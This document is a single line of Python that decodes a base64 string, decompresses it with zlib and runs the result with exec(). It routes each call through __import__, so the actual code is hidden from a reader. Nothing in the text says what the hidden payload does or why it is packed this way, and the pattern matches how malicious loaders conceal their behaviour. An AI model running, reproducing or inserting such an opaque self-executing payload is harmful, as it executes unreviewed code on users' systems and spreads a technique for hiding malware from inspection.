exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckmA2txD0sVhDxICKC601E2mR2DU2TkGS1Kv53N2TxMsN78+bNh5mDjxknrybI/NuakY9DgrXkKceDyjybGdDOR7xg43Ac3B5o17INanL8OsYm9bVZ1ETP+QlvH2/u37bPT7fXD6zohPLOgcqUklZkFYTbRz8J4wnvWik7VlRjhGFCDSwKQi72Zb5IFiDQC4ZsX9cSBxcGNVFydUd4EhHUB5WMvbSvSPcnbBn6fDcWsAVHNbu0Rzt99l9dVZohWEDRcrnQoPwcIqRE6xPEuJaF1FCU/Ickskm/DP0BTONhyA==')[0])))